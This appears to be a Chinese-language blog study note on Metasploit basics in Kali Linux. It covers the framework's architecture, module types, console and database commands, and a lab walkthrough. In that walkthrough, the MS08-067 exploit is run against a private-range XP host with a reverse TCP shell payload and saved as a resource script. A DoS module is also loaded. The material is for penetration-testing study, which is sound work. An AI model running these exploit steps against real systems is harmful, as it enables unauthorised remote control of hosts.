【kali】Mestasploit——基本使用1 142-147

学习笔记
https://blog.csdn.net/kevinhanser/article/details/79940686

一、渗透测试者的困扰

  • 需要掌握数百个工具软件,上千个命令参数,实在记不住
  • 出现的漏洞 PoC/EXP 有不同的运行环境要求,准备工作繁琐
  • 大部分时间都在学习不同工具的使用户环境,如果能统一就好了
  • Metasploit能解决以上问题吗(一定程度

二、Metasploit 简介

  • 目前最流行、最强大、最具扩展性的渗透测试平台软件

  • 基于 Metasploit 进行渗透测试和漏洞分析的流程和方法

  • 2003 年由 HD More 发布第一版,2007 年用 ruby 语言编写

  • 框架继承了渗透测试标准(PETS)标准

  • 一定程度上统一了渗透测试研究的工作环境

  • 新的攻击代码可以比较容易的加入框架

  • 开发活跃版本更新频繁

  • 早期版本基于社区力量维护,被 Rapid 7 收购后大枣出其商业版本产品

  • 目前分化为四个版本,社区版依然十分活跃

  • HD More说:为 Metasploit 写书是种自虐

  • Metasploit 默认集成在 kali linux 中

  • 使用 postgresql 数据库存储数据

  • 早期版本需要先启动数据库再启动 msf

三、Metasploit 架构

Rex

  • 基本功能库,用于完成日常基本任务,无需人工手动编码实现
  • 处理 socket 连接诶访问、协议应答(http/SSL/SMB 等)
  • 编码转换(XOR、Base64、Unicode)

Msf::Core

  • 提供 Metasploit的核心基本 API,是框架的核心能力实现库

Msf::Base

  • 提供友好的的 API 接口,便于模块调用的库

Plugin 插件

  • 连接和调用外部扩展功能和系统

模块

/usr/share/metasploit-framework/modules/

在这里插入图片描述

技术功能模块(不是流程模块)

Exploits:

  • 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

Payload:

成功 exploit 之后,真正在目标系统执行的代码或指令

  • shellcode 或系统命令
  • 三种 payload:/usr/share/metasploit-

framework/modules/payloads/
在这里插入图片描述

Single:all-in-one
Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
stages:利用 stager建立的连接下载的后续payload
stager、stages 都有多种类型,适用于不同场景
shellcode 是 payload的一种,由于期间里正向/反向 shell 而得名

技术功能模块(不是流程模块)

Auxiliary:

执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)

Encoders:

对 payload 进行加密,躲避 AV 检查的模块

Nops:

提高 paylaod 稳定性及维持大小

四、 基本使用

1. 使用前先升级:msfupdate

在这里插入图片描述

  • msfcli 使用接口,现在已经更新 msfconsole -x
  • msfconsole 使用接口

最流行的用户接口
几乎可以使用全部 msf 功能
控制台命令支持 TAB 自动补全
支持外部命令的执行(系统命令等)

[sudo] password for kali-2: 
┌──(root💀kali)-[/home/kali-2]
└─# msfconsole
                                                  
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.0.45-dev                          ]
+ -- --=[ 2134 exploits - 1139 auxiliary - 364 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: View advanced module options with 
advanced

msf6 > 

2. 点击鼠标启动

通用选项:
    -E, --environment ENVIRONMENT    设置Rails环境,默认为RAIL_ENV环境变量或'生产'

数据库选项:
    -M, --migration-path DIRECTORY   指定包含其他数据库迁移的目录
    -n, --no-database                禁用数据库支持
    -y, --yaml PATH                  指定一个包含数据库设置的YAML文件

框架选项:
    -c FILE                          加载指定的配置文件
    -v, -V, --version                显示版本

模块选项:
        --defer-module-loads         除非明确询问,否则推迟模块加载
    -m, --module-path DIRECTORY      加载一个额外的模块路径

控制台选项:
    -a, --ask                        在退出Metasploit之前询问或接受'退出-y'
    -H, --history-file FILE          将命令历史记录保存到指定的文件
    -L, --real-readline              使用系统Readline库而不是RbReadline
    -o, --output FILE                输出到指定的文件
    -p, --plugin PLUGIN              在启动时加载插件
    -q, --quiet                      不要在启动时显示 banner 信息
    -r, --resource FILE              执行指定的资源文件( - 用于stdin)
    -x, --execute-command COMMAND    执行指定的控制台命令(使用;用于倍数)
    -h, --help                       显示此消息

3. help

在这里插入图片描述

root@kali:~# msfconsole
msf > help

核心命令
=============

    命令            描述
    -------       -----------
    ?             帮助菜单
    banner        显示一个很棒的metasploit横幅
    cd            更改当前的工作目录
    color         切换高亮显示颜色
    connect       连接与主机通信、msf下的nc
    exit          退出退出控制台
    get           获取特定于上下文的变量的值
    getg          获取全局变量的值
    grep          Grep另一个命令的输出
    help          帮助菜单
    history       历史显示命令历史
    irb           进入irb脚本模式
    load          加载一个框架插件
    quit          退出控制台
    route         路由通过会话路由流量
    save          保存保存活动的数据存储
    sessions      会话转储会话列表并显示有关会话的信息
    set           将特定于上下文的变量设置为一个值
    setg          将全局变量设置为一个值
    sleep         睡眠在指定的秒数内不执行任何操作
    spool         将控制台输出写入文件以及屏幕
    threads       线程查看和操作后台线程
    unload        卸载卸载框架插件
    unset         取消设置取消设置一个或多个特定于上下文的变量
    unsetg        取消设置取消设置一个或多个全局变量
    version       版本显示框架和控制台库版本号


模块命令
===============

    命令            描述
    -------       -----------
    advanced      高级显示一个或多个模块的高级选项
    back          返回从当前上下文返回
    edit          编辑使用首选编辑器编辑当前模块或文件
    info          显示有关一个或多个模块的信息
    loadpath      加载路径搜索并加载路径中的模块
    options       选项显示全局选项或一个或多个模块
    popm          将最新的模块从堆栈弹出并使其处于活动状态
    previous      将之前加载的模块设置为当前模块
    pushm         将活动或模块列表推入模块堆栈
    reload_all    重新加载所有定义的模块路径中的所有模块
    reload_lib    从指定路径加载库文件
    search        搜索搜索模块名称和说明
    show          显示给定类型的模块或所有模块
    use           使用按名称选择模块


工作命令
============

    命令            描述
    -------       -----------
    handler       处理程序作为作业启动负载处理程序
    jobs          作业显示和管理作业
    kill          杀死一份工作
    rename_job    重命名作业


资源脚本命令
========================

    命令            描述
    -------       -----------
    makerc        保存从开始到文件输入的命令
    resource      运行存储在文件中的命令


数据库后端命令
=========================

    命令                描述
    -------           -----------
    db_connect        连接到现有的数据库
    db_disconnect     断开当前数据库实例
    db_export         导出包含数据库内容的文件
    db_import         导入扫描结果文件(文件类型将被自动检测)
    db_nmap           执行nmap并自动记录输出
    db_rebuild_cache  重建数据库存储的模块缓存
    db_status         显示当前的数据库状态
    hosts             列出数据库中的所有主机
    loot              列出数据库中的所有战利品
    notes             列出数据库中的所有注释
    services          列出数据库中的所有服务
    vulns             列出数据库中的所有漏洞
    workspace         在数据库工作区之间切换


凭证后端命令
============================

    命令            描述
    -------       -----------
    creds         列出数据库中的所有凭据(密码)

3.1 ms>help show

[*]“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions

3.2 msf>help search

用法: search [keywords]

Keywords:
  app       :  客户端或服务器攻击的模块
  author    :  本作者编写的模块
  bid       :  具有匹配的Bugtraq ID的模块
  cve       :  具有匹配CVE ID的模块
  edb       :  具有匹配的Exploit-DB ID的模块
  name      :  具有匹配描述性名称的模块
  platform  :  影响这个平台的模块
  ref       :  具有匹配参考的模块
  type      :  特定类型的模块(exploit,auxiliary或post)

msf > search ms08-067
msf > search name:mysql / type:aux /author:aaron    # 可多条件同时搜索

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

4. 模块内命令

msf > search ms09_001_write
msf > use auxiliary/dos/windows/smb/ms09_001_write
msf auxiliary(dos/windows/smb/ms09_001_write) > info

[*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions
msf auxiliary(dos/windows/smb/ms09_001_write) > show missing
msf auxiliary(dos/windows/smb/ms09_001_write) > show advanced
msf auxiliary(dos/windows/smb/ms09_001_write) > show targets



msf auxiliary(dos/windows/smb/ms09_001_write) > help edit
    用法:编辑[file / to / edit.rb]
    使用编辑当前活动模块或本地文件。
    如果指定了文件路径,它将在编辑后自动重新加载。
    否则,您可以使用“重新加载”或“重新运行”来重新加载活动模块。
msf auxiliary(dos/windows/smb/ms09_001_write) > edit

5. 数据库操作

msf > help db_connect 
    [*]    Usage: db_connect <user:pass>@<host:port>/<database>
    [*]       OR: db_connect -y [path/to/database.yml]
    [*] Examples:
    [*]        db_connect user@metasploit3
    [*]        db_connect user:pass@192.168.0.2/metasploit3
    [*]        db_connect user:pass@192.168.0.2:1500/metasploit3

msf > help db_import
    Usage: db_import <filename> [file2...]
    Filenames can be globs like *.xml, or **/*.xml which will search recursively

msf > help db_export
    Usage:
    db_export -f <format> [filename]
    Format can be one of: xml, pwdump

db_status

启动数据库
在这里插入图片描述
非常疑惑,解决无效——要init

msfdb init    # initialize the database

在这里插入图片描述
在这里插入图片描述

db_nmap

db_nmap 1.1.1.1
# 扫描后会存在数据库里
hosts  # 
hosts 1.1.1.1 # 查看指定主机IP
hosts -u # 只查看存活的
hosts -c address # 只查看address这列的
hosts -S 98.131 # 搜索含有98.131字符串的
services  # 查看协议
services -p 445  # 开放端口是445的
services -c port,state # 只显示这两列
services -c port,state -p 1-200 # 1-200之间端口
search




在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6. 控制台命令

set
unset
setg # global 设置全局
unsetg
save
run
exploit # 执行当前模块
jobs
sessions 
route -h # 指定session路由流量
irb # 开发的接口
resource # 指定资源文件


load

类似安装插件

load openvas
# 连外部的扫描器
loadpath


利用ms08-067漏洞远程控制

XP——192.168.98.131
利用ms08-067漏洞远程控制131
将playload放在被攻击的主机上执行
结果反弹回kali

search ms08-067
use exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.98.131
show target
set target 34 # 指定语言版本
show playloads
set payload windows/shell/reverse_tcp  # 目标机上回连到kali
set lhost 192.168.98.161 


show options
exploit
show options
exploit # 前台执行,直接进入shell
exploit -j # 后台执行,即使拿到shell,也不进入shell
sessions -i # 交互

shutdown -r
shutdown -a  # 撤销


在这里插入图片描述

在这里插入图片描述 在这里插入图片描述
我也不知道为什么要对应set target 34 简体中文

route

通过指定session号来路由
将已经控制的机器所在的网关指定 session
则下一步可以通过这个session进一步控制这个网段的其他机器

resource
search ms08-067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.98.132
set LHOST 192.168.98.161
set LPORT 3333
set target 34
# 每攻击一次,都要重复设置一次


=====================
# vi 一个资源解决
vi r.rc
: 
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.98.132
set LHOST 192.168.98.161
set LPORT 3333
set target 34
exploit
========================
back
resource r.rc 
msfconsole -r r.rc

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值